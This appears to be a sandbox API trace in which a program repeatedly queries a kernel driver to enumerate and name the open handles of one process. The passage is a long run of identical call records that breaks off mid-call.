[0103.280] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x144 [0103.280] ObQueryNameString (in: Object=0xfffffa8003097c00, ObjectNameInfo=0xfffffa80025ff044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025ff044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.280] ObfDereferenceObject (Object=0xfffffa8003097c00) returned 0x2 [0103.280] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.280] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.280] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.280] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.280] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.280] PsAcquireProcessExitSynchronization () returned 0x0 [0103.280] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.280] ObReferenceObjectByHandle (in: Handle=0xd0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0018a4c90, HandleInformation=0x0) returned 0x0 [0103.281] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.281] PsReleaseProcessExitSynchronization () returned 0x2 [0103.281] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x144 [0103.281] ObQueryNameString (in: Object=0xfffff8a0018a4c90, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.281] ObfDereferenceObject (Object=0xfffff8a0018a4c90) returned 0x1 [0103.281] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.281] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.281] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.281] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.281] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.281] PsAcquireProcessExitSynchronization () returned 0x0 [0103.281] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.281] ObReferenceObjectByHandle (in: Handle=0xd4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00181b820, HandleInformation=0x0) returned 0x0 [0103.281] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.281] PsReleaseProcessExitSynchronization () returned 0x2 [0103.281] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x144 [0103.281] ObQueryNameString (in: Object=0xfffff8a00181b820, ObjectNameInfo=0xfffffa800260a044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800260a044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.281] ObfDereferenceObject (Object=0xfffff8a00181b820) returned 0x1 [0103.281] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.281] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.281] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.281] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0103.281] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.281] PsAcquireProcessExitSynchronization () returned 0x0 [0103.281] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.281] ObReferenceObjectByHandle (in: Handle=0xe8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003120a00, HandleInformation=0x0) returned 0x0 [0103.281] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.281] PsReleaseProcessExitSynchronization () returned 0x2 [0103.281] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x144 [0103.281] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800264e044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800264e044, ReturnLength=0xfffff88004f09508) returned 0x0 [0103.281] ObfDereferenceObject (Object=0xfffffa8003120a00) returned 0x1 [0103.281] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.282] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.282] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.282] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.282] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.282] PsAcquireProcessExitSynchronization () returned 0x0 [0103.282] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.282] ObReferenceObjectByHandle (in: Handle=0xec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00170c890, HandleInformation=0x0) returned 0x0 [0103.282] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.282] PsReleaseProcessExitSynchronization () returned 0x2 [0103.282] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x144 [0103.282] ObQueryNameString (in: Object=0xfffff8a00170c890, ObjectNameInfo=0xfffffa8003857044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003857044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.282] ObfDereferenceObject (Object=0xfffff8a00170c890) returned 0x1 [0103.282] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.282] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.282] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.282] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.282] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.282] PsAcquireProcessExitSynchronization () returned 0x0 [0103.282] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.282] ObReferenceObjectByHandle (in: Handle=0xf0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001ef79f0, HandleInformation=0x0) returned 0x0 [0103.282] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.282] PsReleaseProcessExitSynchronization () returned 0x2 [0103.282] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x144 [0103.282] ObQueryNameString (in: Object=0xfffff8a001ef79f0, ObjectNameInfo=0xfffffa80025fe044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fe044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.282] ObfDereferenceObject (Object=0xfffff8a001ef79f0) returned 0x1 [0103.282] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.282] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.282] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.282] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.282] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.282] PsAcquireProcessExitSynchronization () returned 0x0 [0103.283] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.283] ObReferenceObjectByHandle (in: Handle=0xf4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0089a6a30, HandleInformation=0x0) returned 0x0 [0103.283] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.283] PsReleaseProcessExitSynchronization () returned 0x2 [0103.283] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x144 [0103.283] ObQueryNameString (in: Object=0xfffff8a0089a6a30, ObjectNameInfo=0xfffffa8002813044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002813044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.283] ObfDereferenceObject (Object=0xfffff8a0089a6a30) returned 0x1 [0103.283] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.283] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.283] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.283] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.283] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.283] PsAcquireProcessExitSynchronization () returned 0x0 [0103.283] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.283] ObReferenceObjectByHandle (in: Handle=0xf8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0089a64c0, HandleInformation=0x0) returned 0x0 [0103.283] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.283] PsReleaseProcessExitSynchronization () returned 0x2 [0103.283] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x144 [0103.283] ObQueryNameString (in: Object=0xfffff8a0089a64c0, ObjectNameInfo=0xfffffa8002494044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002494044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.283] ObfDereferenceObject (Object=0xfffff8a0089a64c0) returned 0x1 [0103.283] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.283] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.283] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.283] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.283] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.283] PsAcquireProcessExitSynchronization () returned 0x0 [0103.283] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.283] ObReferenceObjectByHandle (in: Handle=0xfc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0089ccd60, HandleInformation=0x0) returned 0x0 [0103.283] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.283] PsReleaseProcessExitSynchronization () returned 0x2 [0103.283] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x144 [0103.283] ObQueryNameString (in: Object=0xfffff8a0089ccd60, ObjectNameInfo=0xfffffa8002066044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002066044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.283] ObfDereferenceObject (Object=0xfffff8a0089ccd60) returned 0x1 [0103.283] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.284] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.284] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.284] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.284] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.284] PsAcquireProcessExitSynchronization () returned 0x0 [0103.284] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.284] ObReferenceObjectByHandle (in: Handle=0x100, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001207fc0, HandleInformation=0x0) returned 0x0 [0103.284] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.284] PsReleaseProcessExitSynchronization () returned 0x2 [0103.284] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x144 [0103.284] ObQueryNameString (in: Object=0xfffff8a001207fc0, ObjectNameInfo=0xfffffa80037a5244, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80037a5244, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.284] ObfDereferenceObject (Object=0xfffff8a001207fc0) returned 0x1 [0103.284] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.284] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.284] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.284] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.284] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.284] PsAcquireProcessExitSynchronization () returned 0x0 [0103.284] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.284] ObReferenceObjectByHandle (in: Handle=0x104, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001651610, HandleInformation=0x0) returned 0x0 [0103.284] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.284] PsReleaseProcessExitSynchronization () returned 0x2 [0103.284] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x144 [0103.284] ObQueryNameString (in: Object=0xfffff8a001651610, ObjectNameInfo=0xfffffa8003420684, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003420684, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.284] ObfDereferenceObject (Object=0xfffff8a001651610) returned 0x1 [0103.284] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.284] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.284] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.284] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.284] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.284] PsAcquireProcessExitSynchronization () returned 0x0 [0103.285] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.285] ObReferenceObjectByHandle (in: Handle=0x108, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001201570, HandleInformation=0x0) returned 0x0 [0103.285] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.285] PsReleaseProcessExitSynchronization () returned 0x2 [0103.285] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x144 [0103.285] ObQueryNameString (in: Object=0xfffff8a001201570, ObjectNameInfo=0xfffffa8002078044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002078044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.285] ObfDereferenceObject (Object=0xfffff8a001201570) returned 0x1 [0103.285] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.285] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.285] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.285] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.285] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.285] PsAcquireProcessExitSynchronization () returned 0x0 [0103.285] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.285] ObReferenceObjectByHandle (in: Handle=0x10c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0017d2a40, HandleInformation=0x0) returned 0x0 [0103.285] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.285] PsReleaseProcessExitSynchronization () returned 0x2 [0103.285] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x144 [0103.285] ObQueryNameString (in: Object=0xfffff8a0017d2a40, ObjectNameInfo=0xfffffa80034287c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80034287c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.285] ObfDereferenceObject (Object=0xfffff8a0017d2a40) returned 0x1 [0103.285] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.285] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.285] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.285] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.285] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.285] PsAcquireProcessExitSynchronization () returned 0x0 [0103.285] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.285] ObReferenceObjectByHandle (in: Handle=0x110, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0089d5d80, HandleInformation=0x0) returned 0x0 [0103.285] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.285] PsReleaseProcessExitSynchronization () returned 0x2 [0103.285] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x144 [0103.285] ObQueryNameString (in: Object=0xfffff8a0089d5d80, ObjectNameInfo=0xfffffa80024926c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80024926c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.285] ObfDereferenceObject (Object=0xfffff8a0089d5d80) returned 0x1 [0103.286] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.286] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.286] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.286] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.286] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.286] PsAcquireProcessExitSynchronization () returned 0x0 [0103.286] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.286] ObReferenceObjectByHandle (in: Handle=0x11c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00122ae60, HandleInformation=0x0) returned 0x0 [0103.286] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.286] PsReleaseProcessExitSynchronization () returned 0x2 [0103.286] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x144 [0103.286] ObQueryNameString (in: Object=0xfffff8a00122ae60, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.286] ObfDereferenceObject (Object=0xfffff8a00122ae60) returned 0x1 [0103.286] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.286] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.286] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.286] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.286] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.286] PsAcquireProcessExitSynchronization () returned 0x0 [0103.286] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.286] ObReferenceObjectByHandle (in: Handle=0x120, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00122af70, HandleInformation=0x0) returned 0x0 [0103.286] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.286] PsReleaseProcessExitSynchronization () returned 0x2 [0103.286] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x144 [0103.286] ObQueryNameString (in: Object=0xfffff8a00122af70, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.286] ObfDereferenceObject (Object=0xfffff8a00122af70) returned 0x1 [0103.286] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.286] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.286] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, 